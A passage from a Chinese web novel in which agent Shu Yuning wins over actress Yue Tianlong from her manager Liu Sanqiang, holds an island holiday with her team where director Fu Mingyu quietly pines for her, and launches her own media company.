“经纪人？”傅明宇准确地捕捉到了这句话的关键词。她们的关系转变得也太快了吧？
“一会儿跟你解释。先回去吧，工作上的事情，咱们慢慢谈，好么？”
越天珑“哼”了一声，一脚油门，扬长而去。
她一走，傅明宇就问了起来。天知道他这一晚上等得有多着急，舒誉宁再不下来，他都要上楼了。
“就是你听到的那样。”舒誉宁把她和越天珑的谈话简单给傅明宇梳理了一下，总而言之，她绕了这么一大圈子，就是为了和舒誉宁合作。
“你就这样，答应了？”
傅明宇觉得有些不可思议。听上去，越天珑是个很会算计的人。这样的人，舒誉宁应该远离才是，怎么会和她合作？
舒誉宁喝了一大口水，想了一会儿。
“有时候，做一个‘精致利己主义者’是需要天分的。”
“什么意思？”
傅明宇更糊涂了。“精致利己主义者”这个词怎么听，都不像什么好词。
“越天珑就是一个很有天分的‘精致利己主义者’。”
在娱乐圈里，最不缺的就是踩着别人上位的人。比如ACT的几位高层，再比如Vibe男团。这种人，只做到了“利己”，行为举止却十分粗糙，最后往往会被反噬。
但越天珑不是。
她会在不伤害任何人的前提下，让自己得到最多的利益。
她应该很早就把目标放在了自己身上。但她却很沉得住气。
她知道，阿May和自己的关系。也知道，自己会为了给千杉找礼服找阿May求助。同时，她也发现了刘三强有意斩断她的时尚资源。
于是，她先一步找上兰素，拿下了兰素手里最美的礼服。哪怕在断了时尚资源的情况下，她依然是红毯上的焦点。
这一步，算是正面警告了刘三强。她也通过兰素，搭上了舒誉宁这条线，还顺便测试了舒誉宁面对舆论的协调能力。
一箭多雕。
所有人都因为她忙得团团转的同时，兰素获得了名气、舒誉宁获得了新的投资、刘三强得到了教训。
而她，热搜、流量、形象大使，以后还将成为舒誉宁公司的最大股东。她什么都有，还没废什么力气。
舒誉宁一通复盘下来，都忍不住高呼：精彩！
傅明宇是听晕了，他发现每次和舒誉宁聊聊，都能了解一些很多稀奇古怪的新东西。
“你要知道的还多着呢。在这方面，越天珑是很好的导师。”
傅明宇有些不情愿，默不作声。舒誉宁安抚般地，点了点他的肩膀：“有些‘潜规则’，你可以不用，但不能不知道。以防有人，用这些东西来害你。”
刘三强倒也不是白混的，只过了一天，越天珑的负面通稿便全网满天飞。
她本来路人缘就差，对家又多，这些通稿一时半会儿也删不掉。
为了先降低影响，越天珑那边只能先暂停掉所有的工作。
有些担心的舒誉宁，便抽空去看了她。
身穿一身家居服的越天珑，素面朝天，握着一杯白葡萄酒坐在巨大的落地窗前，不知道在想什么。
“大白天喝酒啊？”看起来心情不太好的样子。
“想喝就喝，还要挑时候吗？”说着，她也给舒誉宁倒了一杯。舒誉宁摇摇头，表示自己开了车，不能喝酒。
越天珑也不强求，让她坐到自己旁边。
舒誉宁坐下，也跟她一样，看着窗外发呆。
不知过了多久，越天珑明显带了些醉意，但意识还是清醒的。她懒洋洋地开口：“舒誉宁，你猜猜，在公关行业里，我最讨厌哪一招？”
“荡F羞辱。”
这也是舒誉宁最讨厌的一招。
“我越天珑，聪明、漂亮、富有、有胆识、有情商，我集万千优点于一身，却总是被这种脏东西缠上。”
毁掉一个女人似乎特别容易，只要无脑骂她是荡F就行了。看客们也无所谓真假，因为对于很多人来说，羞辱一个高高在上的女神，是最容易满足的恶趣味。
更可怕的是，没有办法自证。
借着酒劲儿，越天珑第一次给舒誉宁交了底。她在刚出道的时候，被一个富二代追求，越天珑拒绝了。
“我太知道他们这群人是什么东西了。嘴上说着真心喜欢我，会给我一切。但实际上，只不过把我当做一个漂亮的挂件，橱窗里的限量手办。”
这个富二代从小要什么有什么，第一次被人拒绝。他气坏了，给越天珑买了好多黑热搜。刚签下越天珑的刘三强原本还在头疼，怎么把越天珑捧出去。一看这些黑热搜，也没想着澄清，反而顺势让她走起了黑红路线。
现在这个富二代在几年前因为税务问题，进去了，也算是得到了报应。
只是那些肮脏的字眼，像纹身一样刺在越天珑的脸上，时时刻刻被人游街示众。
在遇到舒誉宁之前，越天珑也以为，所有的艺人和经纪人的关系都一样，只有利用。但舒誉宁却告诉她了，在利益之上，两者也可以是并肩作战的战友。
“我并不是你看到的那样，真的无所谓那些谣言。我在乎，在乎得发疯。可是没人在乎我的在乎。”
“我在乎。”
这不是安慰，是舒誉宁给越天珑的承诺。
“给我点时间，我来搞定他。”临走前，舒誉宁给越天珑倒了杯果汁。“酒，还是少喝点吧。”
对付负面新闻，最快的就是封号、撤热搜、发律师函。只是做这些事没办法低调，原本还在查越天珑到底接触了哪位经纪人的刘三强，现在都不用费功夫了。
像是宣战前都要下战书，刘三强主动约舒誉宁出来吃饭。
“阿宁，省省吧，越天珑不是你这样的小经纪人能把握的。还给哥哥，哥哥给你再找几个好的。”
真恶心，他是拿越天珑当物品吗？
“听说你签了个小姑娘，现在怎么样了？”
舒誉宁故意哪壶不开提哪壶，在越天珑爆火以后，刘三强执着于找她的2.0、3.0版本，只是一个都没捧起来。
眼下这个，看上去是最有希望的，刘三强几乎把自己所有的人脉和资源全砸上去了。但是强捧遭天谴，反
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而让这个新人的前途更加渺茫。
“你也知道，现在影视寒冬，圈里生意不好做。你就当心疼心疼哥哥。”
舒誉宁都快吐了，这只绿头鸭子怎么开始卖惨了？
不过这句话，舒誉宁倒是信了三分。刘三强眼下的情况确实不乐观，不然也不至于这么牢牢扒着越天珑，还来和自己谈判。
“没事，我的生意倒是挺好做的。大鹅影业那边，我找机会给你联络联络？”
“哼！”刘三强冷哼一声，“威胁我？”
这绿头鸭子，这么些年也不是白混的。舒誉宁只是提了这么一句，他马上就明白了舒誉宁的意思。
舒誉宁故意搬出“大鹅影业”，就是告诉刘三强：她上面有人。
她并不觉得大鹅影业真的会为她出头，只是刘三强没必要冒这个险，去得罪大鹅影业。
“是的。”舒誉宁爽快地承认了她在威胁刘三强这件事。“所以，从现在开始，你别再动越天珑。趁早把你那800个营销号解散了吧，省点钱，捧你的新人去。”
离开了餐厅，舒誉宁的肚子很不客气地叫了起来。
好饿。刚刚光顾着和绿头鸭子battle，只喝了一杯水。现在饿得前胸贴后背。
想了想，舒誉宁拿出手机给傅明宇发了微信：【空？我请你吃饭？】
【别，我怕给你节外生枝。】
得，还在生气呢。
傅明宇这人吧，别看他气性大，但是他心眼儿小啊！
【可是我好饿，真的好饿。忙到现在饭都没吃……】
故意在末尾加了串省略号，让自己看起来可怜一点。
也不知道手机那头的傅明宇在忙活什么，半天才回了两个字：【在哪？】
行，搞定。
等傅明宇到达舒誉宁发的定位地点，看到的是一个蹲在路边，发呆的舒誉宁。
像个流浪汉。
“你蹲在这儿干嘛？”说着，他把舒誉宁从地上拉起来。
“慢点慢点，晕。”到底是年纪大了，一下站起来，双眼发黑。
“该！”
回到车上，傅明宇给了舒誉宁一个便当盒，里面是两个三明治。
舒誉宁欲哭无泪：“就吃这个呀？”
“你不是饿了吗？先垫两口，一会儿正式吃。”
“就知道你不会这样对我的。”
“少废话！”傅明宇再次感觉到，自己脸热热的。
没有什么事是一顿火锅解决不了的。舒誉宁饿急了，像烫麻辣烫一样，打算把菜全扔在锅里。
傅明宇及时阻止了这一亵渎火锅的行为。他坐到舒誉宁旁边，帮她涮菜、夹菜。他已经吃过了，于是一整盘毛肚全进了舒誉宁的肚子。
“说说吧，又在忙什么。怎么到现在还没吃饭？”
“还不是刘三强那绿头鸭子搞的，每次碰上他就没好事！”
舒誉宁好一顿吐槽，连吃饭都忘了。
傅明宇把烫熟的食材都捞了起来，给舒誉宁堆了满满一碗，提醒她赶紧吃。
“既然这样，你别和她合作呗。反正你们也没签合同。”
傅明宇倒不是针对越天珑，只是不希望舒誉宁这么辛苦。用她自己的话来说，这叫——没苦硬吃。
“我说过了，她是个值得合作的人。我们是强者之间的相互吸引，在这点上，我们可以算得上是知己。”
话音刚落，舒誉宁明显感觉到傅明宇，又生气了。
果然，傅明宇把筷子一放，穿上外套：“你自己吃吧！”
又抽什么风？
13. 第 13 章
“回来！”
舒誉宁预判到了他要走，一把扯住他袖子，硬把他拽回座位。
“有话好好说，别动不动发脾气。”
舒誉宁回想了刚刚说的话，很快便明白了，大概她说自己和越天珑是知己这件事，惹得他不高兴了。
“知己和知音是不一样的。我和她顶多在事业上，称得上是‘知己’。而和你，是艺术上的‘知音’。”
“呵，区别呢？”
“境界，我们之间的境界是没人可比的。”
这种话的虚伪程度，不亚于“我和他们都是玩玩，我和你才是真的”这种渣男语录。
舒誉宁以前想不通，为什么渣男能脸不红，心不跳地说出这种话。
现在她好像懂了。
“别闹别闹，坐下吃饭，我还没吃饱。”
傅明宇不情不愿得再次拿起筷子，认命般给舒誉宁烫鸭肠：“我真是上辈子欠你的。”
回去的路上，傅明宇开着车，余光一直往舒誉宁那儿瞟。舒誉宁握着手机敲敲打打，神情也看上去不似刚辞吃火锅那般轻松。
不难猜，她一定在处理越天珑的事情。
犹豫了很久，他还是说出了自己心里话：他不希望舒誉宁签下越天珑。
“你要是真的缺钱开自己的公司，我给你啊。”
更何况，舒誉宁现在不缺钱，拍戏的贷款早还上了，前不久还换了辆车。
“这跟钱不钱的，没关系。你想想，现在和我签经纪约的有谁？”
这还用问吗？只有他和千杉。
“你们俩，严格意义上来说，都是娱乐圈新人。我手上的资源和人脉始终有限。越天珑不一样，我现在还没和她签约，她就已经给我介绍了一个手表代言，给千杉的。”
广告代言千千万，最难拿下的就是手表和汽车。
越天珑光是见面礼，就是手表代言这种重量级。
“这么厉害一人，怕是她前经纪人更不会放手了吧？”
“现在是法治社会，越天珑铁了心不在合同上签字，刘三强还能把她绑起来不成。”
合约到期在即，刘三强也就发黑通稿、撤资源这点手段，其余的，他什么也做不了。
只是被这种下三滥的手段缠上，像是走在路上被人吐了几口唾沫，纯粹恶心人。舒誉宁要做的，就是让他自己退出。
“好了，搞定。等他到时候自己找上门吧。”
舒誉宁伸了个懒腰，瘫在副驾驶座上。
“这么快，看来我又有新的课程要学习了？这一课讲什么呀。”
“保密。”
第二天，舒誉宁一到工作室，便看到了等候多时的刘三强。他看上去有些憔悴，只差举面白旗了。
“舒誉宁，我真是低估你了。你被车一撞，撞通了你的任督二脉啊？”
“海枫哥，这个时候就不用嘴上逞强了吧。”
刘三强主动低头，舒誉宁也尊称起了他的艺名，彼此尊重。
她把刘三强请进来，拿出平时舍不得喝的龙井，给他泡上。怕他没吃早饭，还特意打发小林去楼下西餐厅去打包一份brunch。
“省省吧，我吃不消你这一个巴掌一颗甜枣的套路。我不跟你兜圈子，我的新剧招商这事儿，你打算怎么解决？”
舒誉宁昨天晚上就在忙活这事儿。她知道刘三强给他捧的那个新人，找了部电视剧当女主。原本这部剧打算在第四季度招商，舒誉宁打了个招呼，让招商这事儿延后了。
“又不是不招了，你急什么？”
“行行行，这事儿我认怂。你赶紧给我把时间给我调回来。”
舒誉宁不着急，从桌上的文件框里挑出一个文件袋。
“这是你和越天珑这几年所有合作项目、资金的处理协议。签了它，从此以后，你和她桥归桥，路归路。不管怎么样，她说了，没有你，没有她的今天。所以你拿大头。你帮她拉的代言、影视剧、综艺，你要乐意，全拿回去给新人吧。”
舒誉宁看得出来刘三强已经被她说动了，只是可能碍于面子，迟迟不下笔。
她继续苦口婆心地劝着：“今天你发个通稿，明天我使个绊子。跟小学生丢沙包似的，幼不幼稚？你的时间比我宝贵多了，不要浪费在我这里。”
刘三强终于，他舔了舔后槽牙，叹了口气，在签名处留下一个龙飞凤舞的签名。
“舒誉宁，我怎么觉得你跟变了个人似的？”
“你也说了嘛，被车撞通了任督二脉。”舒誉宁把签好的协议收进保险柜后，对刘三强伸出了示好的右手。“以后有机会，多多合作。”
刘三强无声地回握，多多合作。
这件事的处理，皆大欢喜，除了傅明宇。
这次的新课内容显然让他有些不满：“就这？”
“不然呢？”
难道他还希望自己和刘三强打起来啊？
“不是不是……就是，太平淡了。”
傅明宇的印象里，舒誉宁每次面对敌人，都是轰轰烈烈，不死不休的。这次，平静得有些反常。他都开始怀疑，舒誉宁是不是还有后手。
“圈子里，抬头不见低头见，能和平解决的为什么要大动干戈。”
原来，这一课的内容是——和平解决，扭转局势。
舒誉宁跟他解释，以前轰轰烈烈，是因为他们都做得太绝，把舒誉宁往死路上逼。但是刘三强不是，他也没有想真把舒誉宁怎么样。他只是想舒誉宁知难而退，主动放弃越天珑。
而舒誉宁要做则是，告诉他，她和越天珑签约是板上钉钉的事，他做什么都改变不了这个结果。
这就够了。
而且在娱乐圈，没必要四处树敌。刘三强的地位还是在那里的，要真把他怎么样，到时候只会两败俱伤。
舒誉宁也和越天珑探讨过这个问题。她不难看出，越天珑对刘三强更多的还是感谢。看在越天珑的份儿上，她更不会针对刘三强了。
“太复杂了。”
这件事看似简单，但是内含的门道比以往更多。
“我倒是希望，以后遇到的每件事，都能像今天这样解决。”
“还好我不是经纪人。”傅明宇感叹道。
他不得不承认，他以前对“经纪人”这个职业有偏见。他们不用拍戏、不用唱歌，上下嘴皮子一碰，却能从艺人的通告费里分很高的抽成。
现在他知道了，经纪人的工作事无巨细。他们身上像装了雷达一样，不仅要负责自己的艺人，还要掌握整个娱乐圈的动态。
“导演的工作也很难啊。这个社会，谁是轻松的？不说了，我去趟越天珑那儿。”
“路上小心。”
到了越天珑家，她还是像上次一样，坐在落地窗前喝酒，只是这一次，她倒了两杯。
“这次是香槟，庆祝一下。”
“不了，我……”
“让傅明宇来接你呗。”看来说什么都得让她喝。
但舒誉宁从越天珑的眼神里，看出一丝调侃。
“别拿我开涮了，说正事儿。”
也不知道越天珑是不是故意装傻：“我涮你什么了？”
不想在这个问题上越描越黑，舒誉宁把刘三强签好字的协议副本交给了她。
越天珑拿起协议，随手翻了几页：“走到这一步，说起来也挺唏嘘的。”
“是啊。”这种事，舒誉宁不久前才经历过。
“他力捧的那个新人，你知道叫什么吗？”
“阳海麟。”
她刚出道时，就顶着“小越天珑”的名号。她连艺名都是对着越天珑取的。越（月）对阳，天对海，游龙对麒麟。
“我说的是她本名。”
“不知道。”
这个，舒誉宁还真没关注过。
“她叫李有铮，铮铮铁骨的铮。”
这个名字一定包含了父母无尽的期望。可是这铮铮铁骨，放在她如今只能靠模仿才能获得关注的人生上
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，却是无尽讽刺。
越天握着酒杯，一饮而尽：“我还挺替她可惜的。”
舒誉宁没有沉默，盯着杯子里细密的泡泡发呆。
她不知道该说什么。可能有点冷漠，但她实在没有办法对一个既得利益者有什么恻隐之心。她查到，越天珑那些黑热搜，李有铮贡献了一部分。
李有铮或许也想让越天珑赶紧消失，或许也只是出口气，把这么多年的嫉恨，扔出去一点。她在做这些事的时候，到底是阳海麟，还是李有铮？
恐怕她自己也说不清楚。
但这个时刻，记得她是李有铮的，也只有越天珑了。
这些事，舒誉宁并不打算告诉越天珑，说不定她早就知道了。
越天珑再次给自己倒满酒，向舒誉宁举起酒杯：“cheers！”
这次舒誉宁不再拒绝，酒杯碰撞，响起象征胜利的声音。
喝得差不多了，舒誉宁觉得是时候该给她说一些日后工作对接的正事。没想到越天珑把身上盖的薄毯盖过脑袋，试图装聋作哑。
“不听不听，不想听！”
“好好好，你别把自己闷坏了。”
酒劲儿上头的越天珑力气很大，这块毯子怎么扯都扯不下来。
“叮咚叮咚——”两个人僵持之际，越天珑家的门铃响了。
越天珑有些警觉：“谁啊？”
“小林，我的助理，我让他来接我。”
“哦哦，那你让他进来呗。”
越天珑把毯子扔在沙发上，用手拢了拢凌乱的头发。
舒誉宁给小林找了个双拖鞋，招呼他进来，让他给越天珑问个好。
“叫天珑姐。”
一向反应机灵的小林，此刻却傻愣愣的。舒誉宁扭头一看，小伙子脸红得能滴血。
“嗤——”小李直白的反应逗笑了越天珑。好家伙，小林的脸更红了。
也不怪他看呆了。舒誉宁都快被越天珑迷倒了。酒后的她少了一丝锐利，多了一丝风情。
刚刚捂嘴嗤笑的动作，像90年代末，风情万种的香港女星。
但她还是选择毫不留情地在小林后背拍了一巴掌，疼得他终于回过神来。
“天……天珑，姐，不，不好意思，我，我……”
“没事没事，我习惯了。”她转头看着舒誉宁，“你小助理挺可爱啊。”
越天珑看似在对舒誉宁说话，实则言语里还在调侃小林。
“你放过他吧！我们先走了，这段时间你先好好休息。到时候我再联系你。”
坐上车，小林还是脸颊通红，不知道的以为喝酒的是他。
“看你没出息那样儿，跟我在娱乐圈混了这么久，你早该对美女免疫了啊。”
“我错了老大，是我给你丢人了。”
“还好你这样的人，她见多了，估计也没往心里去。你慢慢开车，我有事儿跟你说。”
舒誉宁告诉他，等越天珑的经纪约对接得差不多了，她计划把他们几个人工作室全部整合一下，开个具有一定规模的影视传媒公司。越天珑的团队非常成熟，法务、宣发、妆造什么的，她自己都有。舒誉宁也不打算过多干涉，但还是要派个执行经纪过去。她思来想去，最合适的人选就是小林。
“老大，你要把我派出去啊？”小林一副被抛弃的样子，工作这么久，他可从来离开舒誉宁半步。
“你不能一辈子当个助理吧。做了执行经纪，你的薪资可是现在的三倍还不止哦。”
“我知道，可是……一声老大，终身老大！”
“少油嘴滑舌。越天珑是个靠谱的人，你跟着她能学到不少东西，还能积累自己的资源。而且，除了你，我能信任谁啊？”
“明白！”
舒誉宁扣上安全带，再把座椅调整到一个舒适的半躺位：“不过不能再出现刚刚那没出息的样子，听到没？”
“老大，你就别笑我了！”
红个脸，被人唠一辈子。
14. 第 14 章
从醒来到现在，舒誉宁像只陀螺一样，都没喘口气。现在，一件件操心的事情统统尘埃落定，卸下劲儿来，特别特别累。
她突然想起来，她还欠所有人一次团建和旅游。找了半天攻略，她最后决定，包一家海岛的度假村，带大家好好放松放松。
到了酒店前台，舒誉宁给大家分房卡：“这次大家好好玩，谁也别想着工作。在酒店里所有的费用，吃喝玩乐瑜伽spa，我全包了。当然，出去我就不管了啊！”
“老板大气！”
舒誉宁躺在酒店的私人海滩里，听着海浪拍打沙滩产生的白噪音。越天珑和千杉在做spa，阿May在健身房，小林和傅明宇在打台球。她真不知道这些人哪来的精力。度假，不就应该躺在海滩上发呆吗？
突然，眼前的阳光被挡住。傅明宇放大数倍的脸出现在她脑袋上方。
“吓我一跳！”舒誉宁直拍自己的心口，呼吸都跟着变得混乱急促。
“对，对不起……”
傅明宇以为她睡着了，想凑上来看看，没想到舒誉宁醒着，这才把她吓到了。
缓过劲儿来得舒誉宁想起来，傅明宇不会无缘无故来找她，大概是有什么事。
“你怎么了？不是在打台球吗？”
“越天珑打电话把他叫走了。”
“那我陪你打？”
傅明宇表示不用，他现在对打球已经失去兴致了。
“酒店管家说，今天可以出海钓鱼，要不一起去？但你要是累的话，也可以……”
明明是个很平常的邀约，舒誉宁却觉得傅明宇有些拘谨。
“去呗，反正也闲着。你等我拿个包，我们出发。”
加大马力的游艇很快就航行到适合海钓的海域，船长将船速调整到最低，让游艇随着海浪漂浮。
摇摇晃晃的游艇像只吊床，让舒誉宁的睡意更浓。
握着钓竿的傅明宇，心思全不在钓鱼上，他只觉得后悔，为什么要听这些人的建议？应该让舒誉宁好好休息的。
一个小时前——
傅明宇在和小林打斯诺克，侍者站在旁边帮他们积分、理球，现在看起来，傅明宇暂时领先3分。
小林的球技也不错，他围着球桌转了一圈，找了一个极佳的角度。傅明宇预估一下，这球如果进洞了，他会反超自己，至少2分。
“小林！”门口响起一个熟悉的声音。
“啪”，失误了，可惜了这个好球！
“姐姐……你怎么来了？”
来的人是越天珑，可她不是在楼上做SPA吗？
“你跟前台约一下用车，我和千杉一会儿过来，你也去。”
看样子，越天珑是特意来找傅明宇的，小林心领神会，把球杆交换给侍者，便离开了球房。
傅明宇是不想和越天珑有什么过多接触的。这人，深不可测，不是什么省油的灯。只是她都找上门了，傅明宇也没地方躲。
越天珑绕过傅明宇，在侍者的胸前口袋里塞了几张钞票：“tip。”
“Thanks！”
好了，这下球房里彻底只有他们两个人了。
傅明宇警惕地环顾四周，还好，这地方有监控。
他把手伸进口袋，悄悄打开录音功能。
“傅导，你是不是喜欢舒誉宁啊？”
傅明宇马上关掉录音！
“别乱说！”
过度的反应，慌张的神情，还有因为手忙脚乱，从口袋里掉落的手机一一佐证这越天珑的猜想。
“真的？我随便问问。”
手机很不巧地掉到了越天珑脚下，她顺手捡起来，看到屏幕上暂停的录音。
“你这是……生怕我对你怎么样，你好对舒誉宁证明你的清白？”
“我没这意思。”
被发现的傅明宇十分窘迫，飞快地把手机塞回口袋。
“你别多心，我对你这种事儿多的‘龟毛’男，一点兴趣都没有。”
莫名被骂的傅明宇十分无语：倒也不用这么直白吧？
“你说，如果我帮你追舒誉宁，你会不会给我个女主角演演？”
果不其然，傅明宇脸色沉了下来。他拉开球房的大门，示意越天珑离开：“看在舒誉宁的面子上，刚刚那句话我当没听见。但是，你把她当交易，这种情况，我不希望再发生第二次。”
“喂喂喂，这么严肃啊？你这样怎么能追得到姑娘？”
越天珑好像并不认为这是件多么严重的事情。这让傅明宇更加恼怒。
在傅明宇爆发之前，越天珑收回了自己看乐子的心情，说出了自己特意来找他的真实目的。
“我、阿May还有千杉，想给舒誉宁一个惊喜。她这段日子也辛苦了。我们想在海滩上布置一下。她现在在海滩，你负责把她引开。6点之前，不许回来。”
“啊？”看来是他误会越天珑了。
得知了真实缘由的傅明宇，态度好了不少：“这……你们怎么不自己去呢？”
“创造你和她独处的机会还不好啊？你是我们计划中最重要的一环。赶紧去，不然来不及了。”
然后就有了这一幕。
傅明宇看了一下时间，现在是才刚过四点，去掉回程的半个小时，他还至少要拖舒誉宁一个半小时。
海面风平浪静，钓竿也毫无反应。在这种极度无聊的情况下，时间也流逝得特别慢。
也不知道过了多久，舒誉宁都没什么耐心了，她提醒傅明宇：“还没动静吗？”
闻言，傅明宇把鱼线收了起来。
……
……
看着干干净净的鱼钩，傅明宇和舒誉宁陷入沉默。
鱼早就来过了，只是傅明宇心不在焉，连鱼饵被吃了都不知道。
船长过来安慰他们，钓鱼空杆是常有的事，反正还有时间，可以再试试。他把新的鱼饵挂在鱼钩上，把鱼竿还给了傅明宇。
傅明宇把鱼竿递给舒誉宁，舒誉宁摆摆手，并不想钓鱼。这种修身养性的运动，实在不适合她。
天色渐渐暗了下去，船长将游艇调整了方向，能让他们有更好的角度观赏日落。
远处，火红的落日和深邃的海平线交汇成一体，深蓝的海面洒满金光。
“虽然没钓到鱼，但是欣赏到这么美的日落，也值了。”
“嗯。”傅明宇点点头，时间也差不多了，该回去了。
就在这时，傅明宇感觉到鱼线颤动了一下。他以为是自己的错觉，但是鱼线颤动的幅度越来越大。
鱼上钩了。
“阿宁，鱼，鱼！”
“快拉呀！”
这应该是条大鱼，傅明宇握着鱼竿的手都发白了，仍然和它僵持不动。
生怕这次再扑空，舒誉宁冲过来，握着傅明宇的
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手，和他一起与这条大鱼抗争。
傅明宇这下不敢动了，被喜欢的人握住手，竟然会这么紧张。
“愣着干嘛，赶紧收线啊！”
“哦，哦，好，好……”
“啪”，一条活蹦乱跳的石斑摔在了甲板上。傅明宇和舒誉宁瘫坐在地上，累得气喘吁吁。
船长带头鼓起了掌，祝贺着他们：不仅在最后一刻钓到了鱼，还是石斑这种稀缺货。
“回去交给厨房，晚上我们吃清蒸石斑。”
“好。”
船长把鱼放进保鲜盒里，还交给他们几张拍立得。
原来在他们钓鱼的时候，船长在帮他们拍照。
舒誉宁一张张看着照片，笑得不行。不看照片都不知道，他们刚刚的样子可以这么疯癫。
看完了照片，她觉得还少了些什么。她问傅明宇：“要不要最后拿着鱼再拍一张？很值得纪念的。”
“好呀。”
船长自然是乐意的。趁着夕阳还有最后一丝余晖，他让舒誉宁和傅明宇站在一起，抱着鱼拍照。
“嘿，两位，亲密一点。”
“亲密？”
船长是不是误会什么了？
舒誉宁马上解释，他们不是情侣，他们是同事。
“哦，真可惜。”船长的失望不像是夸张，而是那种嗑错CP的失望。
傅明宇更是尴尬了，他觉得，让船长误会，都是自己的锅，给舒誉宁造成了困扰。
他默默往旁边退了一步，和舒誉宁拉开距离。
这下好了，他出画了。
眼看着夕阳都快没了，舒誉宁一把拉过他，让他站在自己身边。
“哦！”船长发出“嗑到了”的惊呼。
傅明宇安慰自己：只是拍照，不要多想。越是这样，他越是手足无措，在舒誉宁的催促下，他只能把手放在身后的栏杆下，完成了这张合照。
拍立得的照片只有一张，傅明宇十分想要。可是看舒誉宁拿着照片反复看着，他也不好意思开口。
“喏，给你。”
舒誉宁把照片翻拍在自己手机里，便把拍立得给了傅明宇。
受宠若惊的傅明宇忘了第一时间把照片接过来：“给我？”
“不要算了。”
“要，要，要。”
怕舒誉宁反悔，傅明宇马上把照片收进了口袋。
“鱼归我，照片归你。以后等你到了爱上钓鱼的年龄，可以拿着这张照片，到处跟人吹，你是钓过石斑的人。”
“等我到了那个年纪再说吧。”傅明宇握着照片，心里想着，是不是该去定做个相框。
游艇一靠岸，舒誉宁拎着保鲜盒往厨房冲，傅明宇拦都拦不住。
他都说了，鱼可以让管家交给厨房，他们可以先去别的地方逛逛，回来就有的吃了。
舒誉宁不乐意，她说要自己盯着厨师做鱼，她才放心。而且她今天太累，哪儿也不想逛。
傅明宇都收到好几条越天珑的微信了，她说给舒誉宁的惊喜都布置得差不多了，问他们什么时候到？
他实在难以回答，知道跟着舒誉宁进了厨房。
厨师长看到他们，感到很奇怪。他询问舒誉宁：“舒小姐，海滩宴会的餐食已经送过去了，是有什么问题吗？”
“宴会？什么宴会？”
一旁的傅明宇痛苦扶额：完了，翻车了！
15. 第 15 章
一看傅明宇这样，肯定知道些什么。
舒誉宁把鱼交给厨师长，让他做好，一会儿也送到沙滩上。
厨师长连连答应。
离开了厨房，舒誉宁才问起来：“怎么回事儿啊？”
傅明宇已经失去了所有辩解的力气，
“你去沙滩上看看就知道了。”
舒誉宁也猜得七七八八了，想必是他们给自己准备了什么惊喜派对。他们提前通知傅明宇，让他把自己支开，其他人在海滩上做准备。
难怪傅明宇邀请自己去海钓的样子，会有些拘谨。
没想到的是，他那里瞒得好好的，在厨师长这里说漏了。
也是，谁会没想到她会去厨房。
“走吧，我们去看看他们到底准备了什么。”
哪怕已经提前知道他们准备了惊喜派对，可真的在看到的那一刻，舒誉宁心里还是满满的感动。
“嘭”“嘭”
舒誉宁一进场，头上便洒满了礼花。
“嗒”，越天珑打了一个响指，夜空中飞起了华丽的无人机灯光秀。
无人机在空中变换着各种图案，最后定格在“阿宁，辛苦了，我们爱你”的字样。
舒誉宁看着，眼眶都红了，嘴上却还是不忘记吐槽两句：“你们也太土了吧。”
“没给你整两句土味情话，已经很洋气了。来，下一个环节。”
等候多时的几名服务员，将叠着香槟塔的餐车推了上来，跟在后面的还有三层高的大蛋糕和一大束鲜花。
一切准备完毕，众人将舒誉宁推到中间，让她说两句话。
如此大的惊喜，让舒誉宁都不知道该说什么好。她看着眼前这些，见证她涅槃重生的伙伴们，心里十分动容。
“在很久以前，我觉得我是世界上最倒霉的人。”回忆起那场车祸，还有意识在人间飘荡的十年，舒誉宁回首，仿佛那是一场幻梦。
“但现在，我觉得我是世界上最幸运的人了。因为有你们，让我和命运和解了。剩下煽情的话，不说了，大家吃好喝好玩好。最后，谢谢你们！”
这时，蒸好的石斑鱼也端了上来。
“趁热吃，我们好不容易钓到的。”
“你们钓鱼去了？”
越天珑八卦的眼神在舒誉宁和傅明宇身上来回逡巡。
傅明宇不敢和她对视，连点头的动作都带着僵硬。舒誉宁不心虚，自然是大大方方。
“那是，还有照片呢。快拿出来给他们看看！”
傅明宇不情不愿地把照片拿了出来，此时，越天珑眼里的八卦之火烧得更旺了。
不过她的嘴还是很紧的，除了她，没人知道傅明宇心里的小九九。
“哇，这么大一条。”
千杉最先把照片拿过来，递给其他人传阅：“对吧，学姐？”
“对。很难得见傅导这么开心吗！”
眼看着傅明宇又要不高兴了，越天珑的乐子也看够了，把照片换换给了他。
“记得收好哦。”
“知道了。”怎么听上去有些咬牙切齿呢？
这场宴会举办到很晚。这片海滩只有他们，也不担心扰民。唱歌、放烟火、喝着酒大笑大闹，直到后半夜众人才结束回房间。
喝多了舒誉宁，走路摇摇晃晃的，还是被傅明宇一路扶着回了房间。
“你早点休息，明天什么都不用管，好好睡一天。”
确认她安全进屋，傅明宇也打算回自己房间。
忽然，他的双臂被温暖撞个满怀。
舒誉宁抱住了他。
欣喜若狂的傅明宇，这一次不再拘谨，他也很想抱住她。
可是舒誉宁很快就放开了。
“傅明宇，谢谢你。非常谢谢你。”
原来这只是一个单纯的，表达感谢地拥抱。
傅明宇怨自己自作多情，他了然地点点头：“相互成就。是我该感谢你多点。好了，快去睡吧。”
“嗯，拜拜。”
关上房门，傅明宇则在走廊上，站了很久。
或许自己应该收收这些无用的感情。如果哪天因为他的无法克制，恐怕只会给舒誉宁带来无尽的困扰。
哎，都怪酒精。
假期结束，还没来得及应对度假后带来的戒断反应，舒誉宁又马不停蹄地投入到工作中。
有了越天珑的注资，舒誉宁的影视传媒公司很快成立了。
她给自己的公司取了一个霸气又唯美的名字——宁海一方。
公司开业那天，她办了一场声势浩大的发布会。
内娱、港台、甚至海外，光媒体就请了100多家。
开业剪彩的嘉宾也十分重量级，除了千杉、越天珑、傅明宇，舒誉宁还把大鹅影业的影视部总监和电影学院的教授请到了现场。
发布会全程网络同步直播，相关报道更是铺满了全网。
一开始，傅明宇不是很明白，这么高调，岂不是树大招风？
“我们早就招到大风了，也不差这个发布会。”
舒誉宁的意思是，她不管办不办这个发布会，早就是娱乐圈人人盯着的一个活靶子了。干脆反其道而行，让那些盯着她的人，好好看看，她到底有多大的能力。
把大鹅影业和电影学院的代表请到这个现场，也是这个用意。
大鹅影业代表着，她现在背靠大树好乘凉，警告那些想算计她的人，最好掂量掂量，自己有没有这个本事。
至于电影学院，那是专业方面的背书。告诉众人，她不是以前捧男团、只搞流量的经纪人了，她现在走的是专业影视路线。
媒体自然也是看人下菜碟，都不用舒誉宁打招呼，写的通稿自然都是溢美之词。
发布会结束，已经很晚了。
舒誉宁躺在新换的真皮沙发上，心里都是对未来美好的向往。
“笃笃”，有人叩了叩她办公室的门。
是小林。
